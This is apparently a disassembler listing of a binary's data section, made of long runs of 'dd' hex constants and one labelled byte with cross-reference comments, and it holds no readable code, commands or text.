dd 5CD9DF8Eh, 93634EC0h, 0A82B0171h, 48A76C39h, 0C452741Dh
dd 29B4C00h, 1F248E29h, 12CC7907h, 9947D714h, 0E06F2012h
dd 0B0AA6B7Ch, 4CD33CC0h, 3EBCD4h, 0FD7CE502h, 0DFEE7517h
dd 0F970C100h, 0F8B3CDFCh, 278BABFh, 0A0F7B456h, 0A4A03847h
dd 365FABE2h, 33D62F1Dh, 0A31BC0C0h, 0D33BBA6Dh, 647808B1h
dd 33B98E80h, 12ACA9EDh, 30BEC4D7h, 4A99657Ch, 42007B72h
dd 73C24F9Fh, 4DA2B3h, 6C814E50h, 72A12C26h, 0D45A2B2Eh
dd 0C1CE51Dh, 2F0C5D4h, 0AEBF8CA6h, 69E17568h, 30A84994h
dd 1A26D6C4h, 0BF44702Bh, 0BB01808Ch, 0EFB6071Ch, 0F072A7E9h
dd 0B7445AC5h, 3644E6F8h, 0AEF5173Eh, 3054135Bh, 8E162A0Ch
dd 20C85F00h, 0B0EA4625h, 20C44ACAh, 36E4DC10h, 0D4D98218h
dd 0B006ACB0h, 0FE571680h, 14E80C3Ah, 16544D80h, 0B000A88h
dd 0A2FF92ADh, 72E8E7CAh, 0C86F5CF8h, 1C42152Ch, 21B28CD1h
dd 9561F531h, 5857AFF1h, 47D2F680h, 89902523h, 77C5CC01h
dd 4B2B84C4h, 0B7EB073h, 0A9672E02h, 1119EF00h, 43774176h
dd 107C1B1Dh, 0B7F8240h, 0B15B628Fh, 0D7E88064h, 0E18A6A20h
dd 38A3B802h, 841423C7h, 0D4073F8h, 8B550777h, 62CE0900h
dd 2368015Ah, 80E707F3h, 0E0B6FB91h, 13FAE9ACh, 7A7EB2C0h
dd 4AE73469h, 0E33C306Ch, 991FC564h, 0E00917FAh, 4A9CA0BDh
dd 906EE147h, 4DC844B0h, 0CD817265h, 9F4F14C0h, 0E2B2009Ch
dd 0CE9E5F6Ch, 83017DEAh, 0D1BF429Ah, 0B862EBA6h, 23C0E858h
dd 0CDBE0977h, 5DA8F0Fh, 41A4E6DCh, 22A89029h, 1CA06D23h
dd 0E21B3DDFh, 0E4B83005h, 0DCF4D643h, 0E933997Ch, 0E2D51921h
dd 15DF2092h, 0B973B622h, 66BDEB00h, 106F73F3h, 84E00040h
dd 5D458928h, 7813BFD8h, 0E4243A51h, 250D58C2h, 0D5A00005h
dd 9756256Ch, 7F200C07h
dd 847995D6h, 30522220h, 3934D218h, 2B10CF03h, 802809BFh
dd 525DC7Fh, 1F78AE4h, 96F4CCC0h, 7109291Ch, 17842B54h
dd 24322E1Bh, 82919B3h, 0C4E5027h, 0B1F0076Dh, 628EE995h
dd 0F5231DB8h, 0DC9100A9h, 8CF1CDFAh, 26037BEEh, 2855933Ch
dd 18685C64h, 848E540Bh, 520FE404h, 0D6290802h, 0AC5160h
dd 0BBA7FC1Fh, 0B213CF8Fh, 2E013375h, 974DDC88h, 782C6ED5h
dd 61261B82h, 8ED6E490h, 0D0817490h, 2D6B109Eh, 9F071341h
dd 91F10C53h, 0BA006719h, 0F3E69D0Fh, 0D145ECh, 34D60833h
dd 8E1813A0h, 4B20FD0Ah, 0F418CCC5h, 48EE0C71h, 410057C6h
dd 0F681147Dh, 0B7027583h, 1591F1Dh, 0E8C6C5h, 94EEE64Ch
dd 846DD02Bh, 66884D7Ch, 11490225h, 0D5648FE7h, 4E37CC81h
dd 5321801Ah, 0E7D6FBEh, 9CA1004Ch, 0CCA519C4h, 0BF0B85D4h
dd 6D3F4Ah, 0BDCF0A08h, 0B06B50D6h, 0C2440364h, 4D177CC4h
dd 0A6E704C8h, 792BDE30h, 2DD5DD5h, 97BE4BDFh, 0F4C118A4h
dd 51A0506Ch, 533EE661h, 0C9B08092h, 4BC2CF5Fh, 69AE2584h
dd 2D4D04B9h, 0FB4E00ACh, 97A88617h, 0E19638E8h, 1410905Dh
dd 21F44C0Eh, 37E508AAh, 0AC8D29BEh, 409E2300h, 0C184211Bh
dd 0D3B45759h, 80583891h, 3322898h, 86D00040h, 9D60E712h
dd 8902AC3Ch, 0CA4E567Bh, 5CFC5836h, 0CD69828h, 9070A238h
dd 583E8744h, 0F3808448h, 1DB367FEh, 0E17EFD04h, 0C0A017C0h
dd 98888A24h, 2C683228h, 0F68F3453h, 0D3049C96h, 28A0FCDCh
dd 5F8F053Eh, 0CC953073h, 0CC4A4820h, 0B34AD00Bh, 6D42DCA4h
dd 3C8218ABh, 8E29651Fh, 39659118h, 0E1980837h, 0F189BE80h
dd 523057C5h, 1278AC97h, 20F4F6BFh, 0EB5846D4h, 9AC16003h
dd 0C770F837h, 4CD14055h, 0A8632D1Bh, 24F1AB17h, 0CFCC8CA4h
dd 0A3895400h, 0C424F6F4h, 0D68B0079h, 2319FC2Fh, 0B30AE927h
dd 24174D6Eh, 0DD03E604h, 0E80CDCF5h, 4BBC1D09h, 0E5AA00C7h
dd 87BDADAFh, 39CED06h, 4579EA30h, 48DE306Bh, 0BC276C09h
dd 1303FFA8h, 0C4D24CC9h, 974128C8h, 4A74D8B8h, 0AC6AD724h
dd 0FC74F801h, 0C01ACF3h, 5A1360DDh, 14F6D200h, 0D6BF56DBh
dd 7DF49066h, 8F5C884Dh, 70348900h, 1FF5E961h, 0FB4903Eh
dd 3062D736h, 593E8F4h, 85114C1Ch, 1B60C86Ch, 0C8B0274Ch
dd 222264AFh, 45B8E6E1h, 682AE01Eh, 4888BE89h, 0BF925F28h
dd 5E8A8C81h, 6C3C25F1h, 0E7C3B788h, 60A5E2E1h, 1326CA5Ch
dd 522C8F8Ah, 0A2C45964h, 0C3F89278h, 0A70B9842h, 96E052EDh
dd 7FB960B0h, 9077DF6h, 4C55490Eh, 83117ED2h, 0FB16CF38h
dd 0DB71F90Fh, 300A33E0h, 56211F4Eh, 0EA1D3B42h, 9A405D72h
dd 0D2540F4Fh, 0F2EB005Ah, 87AC797Fh, 386BEE4Eh, 0DF1C0288h
dd 2BD82A35h, 8E113C64h, 0E7A717AEh, 9AD83026h, 0C8A66Ch
dd 0D8F3FAD2h, 0D4DC592Ah, 8E744C4Ch, 0C657A0B3h, 254A198h
dd 1F3EE9BCh, 0EC842C32h, 19C640A9h, 7C5BAE9Fh, 449A54B4h
dd 80C0B921h, 1989FCAFh, 1001761h, 0DBADF1DEh, 3A3CBF4Bh
dd 1F80540Ah, 0C65BCAD6h, 0D22EACC4h, 5CC030A6h, 9928E3A7h
dd 53959188h, 54BB007Ch, 0CD323755h, 62600292h, 0B18F1D26h
dd 0D6581CC8h, 8948F348h, 65F087DCh, 803775B2h, 7243E9F8h
dd 5D5200FCh, 9BEC3D6Dh, 20CB1350h, 878810F5h, 0ADA10027h
dd 508AD33Ah, 120398B3h, 0D2C34B01h, 0A8B9AB53h, 9EC2FE23h
dd 212A4440h, 24087725h, 9F43D1C3h, 0EF26B851h, 5D071F58h
dd 614740BBh, 3C3E30C5h, 0BEADE40Ah, 0E6088441h, 6CDD8135h
dd 883AE24Eh, 0BE26AF69h, 4E181452h, 0D6CE1919h, 1EE5EE03h
dd 0E015E439h, 96D167Fh, 2CE9C565h, 52739484h, 0A51F4030h
dd 5D83A063h, 87510F23h, 6B20E03Ah, 76997733h, 0DD4D0414h
dd 7CB02E78h, 82EC8459h, 458000A1h, 0D92C6336h, 0A302A0EAh
dd 7B0139A9h, 0B55C411Fh, 0DC5A4D12h, 0D80DBF30h, 3C23EFFAh
dd 0E384FD1Bh, 0C29ADC70h, 94C448A6h, 9B990A03h, 16046FEDh
dd 306C2558h, 8CB06BDCh, 0CBCCAC00h, 0F354BD42h, 2927BBAh
dd 6E6546D6h, 10F117B3h, 6D6FE904h, 2F57308Ch, 2018544Eh
dd 0C418CC7Bh, 3E810247h, 6E1C0099h, 53A023AEh, 3C18DF40h
dd 30211248h, 0A870B19Bh, 2A411630h, 26500476h, 5AC2065h
dd 0D6B705D3h, 0E448530Ah, 6F3BFB94h, 0FF300054h, 1E55E8C0h
dd 3A98009Bh, 7015C667h, 4CB1291Bh, 497EC400h, 5C3EC00Eh
dd 1E3E3465h, 0FDCC4C41h, 0AB00E979h, 0B54D4401h, 3C707Fh
dd 0F8979FEBh, 2A998521h, 0C663F709h, 0A58C0EE9h, 0D2C386BFh
dd 0D9693D69h, 27DAAE8Fh, 0C6CD1261h, 11DC2C72h, 1B1226B4h
dd 0F62C2C23h, 9726C000h, 0B0455C0Fh, 0BC8008Dh, 96226FA4h
dd 0D8B651E9h, 0BFB2F240h, 66A302C1h, 5768BCBEh, 0F5881453h
dd 63E4A6EBh, 0B1E04A83h, 7A03760Bh, 40300A67h, 0E2C09AF7h
dd 54C81800h, 0A76B12D5h, 0A20494E4h, 0AC4C020Ch, 0C07CE38Ch
dd 4CF16C0Ch, 9611B49Bh, 47C6089Ah, 21158023h, 85AEF91Ch
dd 0A00E3F0h, 0CE130EA5h, 849AE9h, 46264F22h, 19296D49h
dd 909EF909h, 48800864h, 13E88527h, 8532DC08h, 882C1AD5h
dd 373B1D74h, 0D668809Ch, 0D72D256Bh, 80DA50B3h, 6E2F1496h
dd 6D8B90B5h, 6C387800h, 413D4825h, 0AB920BB2h, 0FA5C82D2h
dd 7FBC6017h, 0AE9504A2h, 0F12D6CDEh, 43F080C0h, 0B01D01F7h
dd 64FF095Eh, 48C096D6h, 0C688AC98h, 1AE02DB5h, 0AEBFB090h
dd 0F8AA5329h, 0EB8D4680h, 0EA150154h, 0F09F01BFh, 69C1A305h
dd 1FF09244h, 2262D830h, 93E1DF5h, 7DC6405Fh, 5681A447h
dd 849658C9h, 0D85819ACh, 0CD012B27h, 8CD7BC52h, 249C785Dh
dd 23B68BC5h, 11702C99h, 998F3147h, 3B20D754h, 11ABDB0Dh
dd 0BDE81E04h, 0FCCC6E2Ah, 405100EDh, 762DB69h, 0FE7BD4B5h
dd 0E1247600h, 3F59778Bh, 63B426D0h, 0C801135Ch, 5C012D10h
dd 0B8BCDB2Bh, 0C9E09438h, 52B30029h, 85B623D2h, 0B72F791Ah
dd 401812BEh, 0E6594ABh, 386DC4D4h, 0CB815A0h, 2C7F1B89h
dd 82419100h, 53DF1225h, 25B3EACDh, 0C0188D75h, 0C11A405Ah
dd 79287BE0h, 5B040050h, 4A3789F0h, 0E9219901h, 0BEA01FBAh
dd 73E79C47h, 0B088F4F5h, 9AFA0089h, 628AF32h, 8330229Bh
dd 0F054FCA1h, 5DC412EEh, 70F00865h, 0E5B26D8Bh, 762414h
dd 85ECAF50h, 0D09CF4E3h, 0F1DF6580h, 0F516B4h, 0BD57EDFAh
dd 0CB67C711h, 690FC478h, 56E2ABECh, 4526D443h, 0BED5A1E7h
dd 6006433h, 0B8FAC1DFh, 100EE83Dh, 0AD496Fh, 0B9FE82A4h
dd 96470123h, 0DFF66BD9h, 0C053D8D7h, 0AFF4D625h, 9AAD60B8h
dd 3225603h, 1B28C7F6h, 0B2C50ADEh, 0E48A00ECh, 66B85573h
dd 0B06E143Dh, 0AD227419h, 33B7A000h, 3ED9820Dh, 0E1291EAFh
dd 8090D367h, 57512560h, 4A004C74h, 0BAE093D3h, 2DA707D6h
dd 9880F515h, 0BF748858h, 1E4F848h, 0A6E4ACC0h, 24632DE5h
dd 0C658A422h, 0D36B0E87h, 3E6764E9h, 0A13D6CC3h, 0C4624EB9h
dd 465B1Ch, 7B5CF29Dh, 160072D7h, 4FE2B7E7h, 6A24045h
dd 943021A3h, 0F09159A7h, 85877580h, 5DF3FFh, 9C2BD49Eh
dd 0B62FF06Ch, 0CF1397EEh, 3000424Fh, 6E92F9B3h, 0C6040B37h
dd 44E4AD6Dh, 0BBA73600h, 0B6C4E447h, 0D87D02DFh, 223D6CD6h
dd 4C4154A0h, 2500D09Ah, 0AF590D99h, 245C4Dh, 29201C4h
dd 415AD546h, 4CC65E3Bh, 0AE37812Ch, 3BC89BBCh, 7FE201DDh
dd 7A4E50E9h, 6DE0FCAFh
dd 73F09D00h, 0BECF69F6h, 0C56A18D6h
db 46h
byte_530055 db 0E1h, 5Eh, 0DBh ; DATA XREF: ___:off_43859Co
; ___:off_4385B4o
dd 44C8C3Eh, 47A02254h, 0EC07B0A9h, 70597618h, 0ACEB8113h
dd 54114616h, 0E35C0C30h, 944909EEh, 0D080BED4h, 8C3059EFh
dd 0E8408494h, 172B6D42h, 811F52E1h, 8958FE8h, 7938A2E8h
dd 27BF0024h, 4B11569Bh, 0E48000B9h, 877DA1Dh, 0AF9C01EAh
dd 0BAB371C5h, 0ACC8D48Dh, 6EE24DFAh, 90CA88h, 0DBA083A9h
dd 774E6654h, 0B9B4701h, 402FAF3Fh, 8D27B096h, 80002C0Ch
dd 86F64752h, 0AAC33882h, 0DB543682h, 0F042DC6Ch, 22112C79h
dd 9C806B8Bh, 372B725Bh, 7D2410F0h, 0AE92548Eh, 89D7640Bh
dd 814C9817h, 0B400F5Dh, 8E8253B7h, 58627249h, 1036C461h
dd 9C6664Ah, 0DD04D656h, 72C95481h, 40CEE158h, 2B5D46B0h
dd 16CD2D58h, 74D047D5h, 0B5DACFh, 0D2F81932h, 0AA2BBF94h
dd 0F23F040Ah, 7660F4D3h, 326F4C6h, 0C78EBAADh, 8285B8B0h
dd 1B2213A0h, 5CAC642Ah, 0C1A13C53h, 209715EFh, 69E889C8h
dd 4E373404h, 7B8601F5h, 0BFF0B2D2h, 0F46C58DDh, 4E016D04h
dd 5C24A8EEh, 0EC7F8068h, 9878269Fh, 4A302CCBh, 0E5546048h
dd 7B2E85DDh, 700963Dh, 0B1A55DF1h, 8AE6004Ch, 0ED43C2DCh
dd 3890502Eh, 0E4129E42h, 90CDC23h, 9007FA07h, 2E40327Ch
dd 5BA2439h, 212B78A4h, 0C8C0133Eh, 0A200C3D8h, 0D23894CCh
dd 2302522h, 0DEC065CBh, 0B871211Ah, 0B890B211h, 8FFA55C0h
dd 1A00CACEh, 0BEAE846Bh, 48302229h, 30934092h, 0B2162658h
dd 162DFC3Fh, 34204CCCh, 77C0F1h, 0C20275D4h, 0B6ACFC5Eh
dd 112F5B02h, 0F1C1E231h, 5DA300E4h, 5C72F592h, 5A01CA75h
dd 977EAD37h, 71D0BF66h, 25C62E2Ch, 1AE405C8h, 8CE816B5h
dd 7600EC68h, 0F5FA2F28h, 2B3E39h, 0A3A97010h, 588C67D4h
dd 18D6042Ch, 30005B16h, 91B25465h, 27411771h, 0B6083012h
dd 565BA572h, 680057FCh, 4B380F9Bh, 841F525Ch, 0E89E18Fh
dd 2260507Dh, 0C60E6E4Dh, 56AEB589h, 900A113h, 803304Eh
dd 0D7022EF9h, 5910BB8h, 0E2A7F820h, 30970C29h, 6AC544h
dd 0E7909DFEh, 7150FC56h, 2C68B706h, 23B0EE87h, 669E42E1h
dd 3D1418C0h, 3C656Fh, 67832650h, 2F0A9EE2h, 0FBCAC205h
dd 380047E9h, 0C76B9FF7h, 0E7A700F0h, 827D7EFEh, 2DE61109h
dd 6FF14C06h, 7EB0083Ah, 20ED8841h, 55993088h, 4410BC9Dh
dd 5A28708h, 0D1E5DB98h, 9359C02Fh, 5100108Dh, 0A3808F4Dh
dd 0C016BD90h, 95D55E31h, 7D09C547h, 72C041CBh, 0DB733B4h
dd 1CD85D21h, 0DD4A5F3Fh, 2BC5420h, 45740050h, 43BD91B8h
dd 98046426h, 0BFCAE883h, 29AEF0C2h, 0ECDA58C1h, 6D0470E9h
dd 2F5AE460h, 6BE7F4C0h, 67A800F7h, 0CDBF8005h, 230175EAh
dd 1437048Eh, 28A428FAh, 4FF709C4h, 41C26C8Eh, 0CCE698D6h
dd 74B36D2Eh, 0C84C25h, 0B8631C55h, 0E18B0B37h, 3CB8F01h
dd 824021C6h, 0B96E56E8h, 0BDC0CEC4h, 10F2C162h, 0C56BE513h
dd 344C8h, 40E36EA9h, 0DA5B72F0h, 6C901F00h, 7E7C585Ch
dd 3BB10E8Dh, 2C9FB2ECh, 0D04025F4h, 35179778h, 28C8E6C0h
dd 1EBD0051h, 8F2A03DDh, 5709A276h, 0A2960BCDh, 0A0704E08h
dd 3B113D4h, 4BB00075h, 97A7AE7Eh, 21053F5Dh, 0F2284C79h
dd 0D007B4A2h, 70CA12C1h, 64D833E1h, 0DC8BF500h, 999BFE71h
dd 6AACA06Dh, 316B882Bh, 486C123Eh, 4995C124h, 82E8AEDDh
dd 36B003Ch, 4FC97B99h, 0E4008ED3h, 433EB158h, 4CDC40C0h
dd 9980444Ch, 97308AE2h, 50C9AC09h, 0EA5C227Eh, 4D5222Eh
dd 0D60200CCh, 309AB70Eh, 49985E95h, 0FC7280B0h, 9878492Fh
dd 0B1AD30h, 4AEA92FDh, 968C8AE0h, 95296A01h, 5F3DD3B6h
dd 3222EC69h, 80C84E58h, 87C0E467h, 16B01EAh, 82DED2E7h
dd 7CD06515h, 0E35280FCh, 76884Ch, 1F0A150h, 1AE6FC29h
dd 0ACE49CA2h, 0CC004874h, 1FD093F5h, 301B4Bh, 50A15267h
dd 0BBE5C93Ah, 97876304h, 0DC87BEA3h, 20268148h, 63251AC2h
dd 16D6019Ch, 4FB96E66h, 2C6C6184h, 0D9D4CC34h, 6D89C700h
dd 206ED8FEh, 79367172h, 60B09CB6h, 0A15DF0FFh, 6C8639h
dd 99A3BFBCh, 90A5B7F3h, 0F2DF0603h, 3139E0A6h, 93FD75Ch
dd 0E096D62Bh, 1FC504B0h, 6C0FF4E7h, 0EA020400h, 90948281h
dd 2DEECE20h, 2999DE2Fh, 0F747E104h, 90108710h, 0BEC0FA0Bh
dd 707F19DEh, 5DFB1E9Eh, 810F00BDh, 54F3FDA4h, 20032570h
dd 0F6339441h, 0BD0CE95Bh, 2A9BD8h, 0B7C4F0Fh, 0D4BE8EAAh
dd 0CC391100h, 342F638h, 670D0585h, 0F9E778h, 0DBDCE9A5h
dd 0F27792DEh, 0D7ECF8F2h, 43A42900h, 0B8FB902Bh, 268D01C1h
dd 5D22A8Eh, 0D339C898h, 0B3B65A0Fh, 0D93680C5h, 5787E0h
dd 0BCE93F32h, 0CC6A3B59h, 130350Ch, 0E2695Dh, 865B1C88h
dd 0E650485h, 68F47F00h, 0CB7C42CEh, 349B00EFh, 0D7D22B0Fh
dd 0AC07D9D5h, 468F66FCh, 0C8A7A110h, 7F040E94h, 22C0D8A8h
dd 67F95DE0h, 1DF87103h, 0F055421Bh, 0F53FC0h, 0D9B61AB3h
dd 8BCD5932h, 0F0002F70h, 0C2900BCAh, 195E84Dh, 4494C6A7h
dd 8048AB14h, 363B8278h, 0EA16530Ch, 68C500A2h, 0E9950D3Ah
dd 107967ECh, 5BF97E00h, 92015652h, 2DED13EBh, 40E91C6Bh
dd 63330CF2h, 4C007C8Fh, 1D397971h, 1646CE18h, 113ECB02h
dd 9B28FC7Ch, 0F68B80C8h, 0D76B00F2h, 44A358DAh, 53307CFDh
dd 16CA4011h, 0A89800BEh, 477F20B4h, 6F3FA597h, 8483280Eh
dd 4E1F581Ah, 19B660D0h, 36C985Dh, 0A2E35054h, 7807C7D0h
dd 1DE65260h, 8F5AA5EEh, 3B94088h, 82DB371Ch, 74D80B9Dh
dd 3405F4D8h, 884FB2CFh, 3637E400h, 60AFE9h, 0C116AC0Dh
dd 46F3C8D7h, 1C258h, 7518C687h, 0FEB42CFh, 2666A8AAh
dd 0E62A25h, 787D12D7h, 731D6FC3h, 5303E965h, 0B950CA06h
dd 5FC0DC74h, 18EA7172h, 0E42AD486h, 8C0B32F1h, 1855DAh
dd 83011015h, 0A1E3001Ch, 5ACA8EA3h, 413F69CCh, 0A08A8E9Bh
dd 28F745DFh, 0BA248F80h, 98991DC1h, 0EE07FC5Bh, 8096FAB9h
dd 496FC058h, 0BE6E3E3Eh, 0CB330023h, 0AEB8545Eh, 26C5008Bh
dd 0BBD43B58h, 6C001B49h, 3A5C7A51h, 9B0483h, 4622A41Ah
dd 66171D4Bh, 378A3900h, 0C8AFA0AAh, 5A9F0053h, 7C72E052h
dd 890057CAh, 35024FFAh, 33D314h, 2806BFE3h, 29D0D75Ah
dd 6F0BE600h, 32CC1B34h, 0FF1A1C05h, 479EC08Dh, 845C9051h
dd 37A67118h, 5DD88h, 3AF45CFh, 7BFB29DFh, 0B100C47Fh
dd 0E9B3BC84h, 25F8A1h, 0F172AA15h, 35944D8Eh, 0CD886400h
dd 28A7C9B6h, 0C0597FD6h, 0DB169611h, 8201E151h, 2CA15C8Eh
dd 0E040CB3Eh, 135563Ch, 371BFCBBh, 0FC85FEB2h, 652A49BCh
dd 0B4028C36h, 12B87E28h, 0AADA8099h, 0B18214h, 0AC3D8823h
dd 80D4B3A0h, 5547BA00h, 42DE76D6h, 710D00FDh, 4D31DC13h
dd 5000C01Dh, 0BB1554Fh, 0A75A16h, 0ACF39160h, 0BE73D143h
dd 7AA1A5Ch, 868C74DDh, 2EBA3F30h, 26B300CCh, 0E5143415h
dd 0E40B549Eh, 80455FBBh, 0BF774A1Ch, 6F97003Ah, 7F14FB2Fh
dd 3EF49BA3h, 0C2CE910Eh, 0C919E0AAh, 0A54884h, 4E9E3AFFh
dd 6D07EE03h, 0E3F05901h, 8DFFCA9h, 0ACE01180h, 0DC031F0Dh
dd 0C0F72C77h, 80C27869h, 80F7D389h, 0DF3A558Ah, 0C3FC00AFh
dd 0F3C97EE8h, 0CE1D9C6Ch, 6BC0C7BFh, 43EE742Bh, 56E730A2h
dd 0BFC8B241h, 0BDD6C407h, 9DF1CCE1h, 0B4405219h, 0FB3CD08h
dd 262A44E4h, 0CC302260h, 0E50761D4h, 0BE2B8A68h, 0B8CBE6C0h
dd 0F50A00D0h, 22436614h
dd 98F6D629h, 0FB111200h, 0B5065FDh, 7D0F02CAh, 8DCC10C0h
dd 7038740h, 3525E52Eh, 0D92C003Dh, 0E2374993h, 92220062h
dd 2EFECD29h, 0DD0B47C3h, 81864489h, 5C4C2451h, 1E975020h
dd 40CC8DCAh, 60126B22h, 2A487E9Ch, 4EDA0778h, 0ECFAD15Bh
dd 48E14C80h, 0EA3EFBD8h, 0C01500F5h, 3CBD7554h, 4509C50Eh
dd 208DCBA9h, 366E31B4h, 8403491Eh, 55E03400h, 5668221h
dd 0FE1C5F09h, 0CCAC21CAh, 39818EEAh, 0B0F7612Eh, 136ED067h
dd 68DE691Dh, 33BD349h, 0F8246B3Ch, 0BD1B12h, 1C5B961Fh
dd 9C46E4C9h, 0AA014800h, 0A0798056h, 0F6B20197h, 73342F2Bh
dd 41C02053h, 0B7012890h, 0BB064970h, 0E44596A5h, 5E231F00h
dd 341742Ch, 0FAB7936Ah, 50983C56h, 0CE00B5DCh, 0D41CC954h
dd 79043E64h, 177704C6h, 843C331Ah, 7381C734h, 89B097E7h
dd 5648A974h, 63600C1h, 0BEBDD8ACh, 0F20D00D7h, 0B446717h
dd 0D4716DFBh, 517D2500h, 0F7D8713Ch, 38EF0023h, 46402642h
dd 8000B497h, 6AFB1FEEh, 0EA7758A2h, 566000ADh, 0EC4C0E71h
dd 0AD9811DBh, 0C0D0FC1Ch, 812EB849h, 1D8CFE50h, 0CB006C23h
dd 4CE767C5h, 5EB0786Ah, 0D51D8300h, 72A2FD94h, 0A67400F0h
dd 0D2476BDCh, 5E00E9FAh, 0CE01D9F1h, 1FA1905Fh, 0CFAE6CC5h
dd 0DEC729C3h, 587A31E3h, 7E05EC57h, 0D0F82F00h, 0C106BCFBh
dd 49540030h, 1093F30Eh, 8200DCF7h, 4EDF4AB5h, 0A310Fh
dd 1747B0AAh, 27BAF051h, 9989DB0Eh, 0F430C246h, 63A4425Bh
dd 6BF00016h, 0EF510B76h, 8E39B8D9h, 0E2332CB7h, 75CAB500h
dd 3D3C8B42h, 0D33FA9ABh, 2990490Eh, 0DFA2A740h, 9539B682h
dd 0ACA3002Ah, 924F8CDDh, 5F2B0C2Fh, 0DA680BC9h, 0BE807601h
dd 331DFB32h, 3A009832h, 753BE37Eh, 0C530C426h, 65BE18CFh
dd 6782F05Eh, 805D117Bh, 6D0288B3h, 0DA08A300h, 43B6BB80h
dd 665B0648h, 48E72E8Ah, 3320F902h, 486096D2h, 0F823E590h
dd 3F9D00F5h, 6E804E50h, 10A0BED2h, 7500035Bh, 55F3DF20h
dd 0A50593h, 0B908854Ah, 8FA84D98h, 7297B600h, 5BBF5431h
dd 589E00D7h, 903B3D22h, 34002AFCh, 7D20262Eh, 140A54h
dd 77D1099Fh, 53DF139h, 0A5805C00h, 0A9469734h, 0E97348h
dd 2EA610BBh, 0C9FC1B73h, 0F040D100h, 947E0BFh, 18E50774h
dd 77288BE1h, 179700E4h, 67701BC4h, 6593AC0Eh, 0AD526064h
dd 0E6A7B30Eh, 0D307007Eh, 3F2F2CC7h, 1B005678h, 0F32548A3h
dd 750F8B8Fh, 430B00A7h, 1D9AFA4Ch, 0F607F112h, 0FB732669h
dd 68713922h, 1308BC60h, 0F3CA025h, 5F216819h, 806B3A53h
dd 0B6985421h, 0E41E39h, 7F91BB1Dh, 7E1C0207h, 0FB02FC76h
dd 0F06066B7h, 0BCB4A15Eh, 1FF1A956h, 0EC40ACE9h, 6A52E88h
dd 0C2B97DBAh, 93302872h, 7C1E316Dh, 0BAF3078Ah, 90B9C852h
dd 0D1287BF7h, 0BF20DE00h, 0C5B7699Fh, 0DC563BD5h, 40384512h
dd 57D96A2Ch, 15003427h, 0A0AFCC19h, 1CFFAA36h, 40DDD470h
dd 5E5072F2h, 0D1C7743Ah, 5A90A127h, 7BF92668h, 318B04DEh
dd 805281FEh, 0B1F09234h, 7093B218h, 902D60A1h, 8FEE1Ch
dd 54E245ADh, 0CCA9C78Bh, 0B758A701h, 0DD7242C4h, 360FA480h
dd 0E5B4DB7Ch, 0F6602414h, 0AD0C818Ch, 57E891D4h, 4AFB2EB2h
dd 0D6384128h, 1AA18F68h, 39096054h, 603A563Eh, 0B449196Dh
dd 4A37B196h, 93352010h, 5B5180BFh, 620042C8h, 0F4965D40h
dd 0D3679Ah, 6C738C0Fh, 2DA3868Ah, 0AF6B3Ah, 0E8CC905Eh
dd 5C25BDA1h, 6F7E14F7h, 21B808EFh, 0A100D06Bh, 6F55CC54h
dd 7F57446h, 1EB07E84h, 0F79C37EBh, 192DA0FEh, 8D0051A0h
dd 0A567D33Ah, 0EEE5C93h, 9176D4ACh, 57B05098h, 0A296500h
dd 135A4050h, 304F7468h, 0D120AD7Eh, 0A700645Fh, 822B4B8Ah
dd 381CEFFh, 1A2835C4h, 48009071h, 0C962EEA5h, 3A241BFDh
dd 4D80B849h, 0ACBB7A96h, 0C73960CEh, 7BDB8C01h, 6C5088D0h
dd 0D3906083h, 65540D8Ch, 13880A26h, 21008748h, 47645CD0h
dd 1822F5D6h, 8874E99Eh, 0B2A02955h, 94A8AA83h, 0C0E89DACh
dd 11A40430h, 4B502643h, 1BA1FC54h, 0F60922A8h, 2EE30321h
dd 0AD9EB50h, 0CB08F5B8h, 0B0BC5730h, 0B0EE190Bh, 0AA7BBDh
dd 0F5ED4B74h, 46350785h, 2CE46E54h, 0A1E9048Ch, 62FF25B2h
dd 0D16A2095h, 4901A9A1h, 0C041436Ch, 0A8506E1Bh, 8F3A73h
dd 939ECB7Dh, 1F7A2F03h, 82DA5A00h, 0AFE7FD5h, 9180F139h
dd 57F2FF83h, 5D0A5E9Eh, 844F7A19h, 69413C1Eh, 249C67F8h
dd 4670D4h, 1F0D732Ah, 595B24Fh, 36B1A100h, 8BB6F320h
dd 9F80003Dh, 0D2F9699h, 0AC008153h, 0ECDAB34Bh, 0B0D2B764h
dd 2BF90093h, 31BC84A3h, 5D00F323h, 4E35FC2Ch, 269D1D44h
dd 289FF8A0h, 0E41701DDh, 0AF3E1F38h, 1142DF7Bh, 3DCDA004h
dd 7010C013h, 1ED2E7B8h, 6BB6BE00h, 366CCC3Bh, 9250022h
dd 0DF9C44CDh, 0E63270BBh, 208229E5h, 0B71D5B41h, 0BC773F00h
dd 1E501FD7h, 13C78ECh, 5525D9AEh, 0F1E4E503h, 0CF81E27Fh
dd 3070AA68h, 520082F2h, 3DA7617Ah, 278C9Bh, 0F1AC8DFEh
dd 0D368296Dh, 1CE0B900h, 80B166F2h, 4EAF0070h, 0F76F2CEEh
dd 8C0001A1h, 990A614h, 6B80A8h, 6E21D91h, 8871B830h, 749AC300h
dd 0B9503576h, 97C90073h, 26108001h, 7B03F8B3h, 5948C286h
dd 14BC865Fh, 8C187D3Fh, 9D228300h, 8E0958F3h, 6AEA3500h
dd 50EE4829h, 733F0038h, 3C7E1F81h, 6500F234h, 0D72A609h
dd 67B0B2Ah, 8C4D68A9h, 0AC0011F3h, 0D69E4505h, 3FA367h
dd 469ACD55h, 14EF9738h, 355D3300h, 0A9A67960h, 0E6762C86h
dd 0E30601BCh, 0D855BC0Eh, 0BA01FA3Fh, 0AC0F1887h, 6CD895CDh
dd 0C4C850EEh, 0A9AA00B0h, 0EE2B1AFh, 42E4D919h, 0D7D01D2Eh
dd 37D47500h, 0AD318Ch, 309833E7h, 3D80215Bh, 0CFAD512h
dd 977200ABh, 1C627E4h, 4FF25301h, 12AC846Fh, 55F880FDh
dd 0A1DD09EFh, 2404E718h, 0B2008E40h, 79701897h, 735BC600h
dd 69C40CDBh, 91D23B83h, 0E9BD5D00h, 2689E5EBh, 7E004D7Ch
dd 0F102C2A6h, 874922h, 0CBC79272h, 3BAF31C3h, 0F4A33F3Eh
dd 2A4CD500h, 39543650h, 226009Fh, 0A7B22F84h, 4DE6A1C8h
dd 0AA5C20C0h, 0AB1A4h, 1EBE21EFh, 0AE0E4901h, 9E7BFC18h
dd 0E4A950h, 0A6322DEDh, 0FDE36138h, 0A72481Fh, 6D7003Ch
dd 0F49F29AFh, 756F038Dh, 98C2A211h, 0C83187C1h, 133A7910h
dd 9D690320h, 0B85D34ABh, 1D301584h, 80F9A8D6h, 0D7DE89F1h
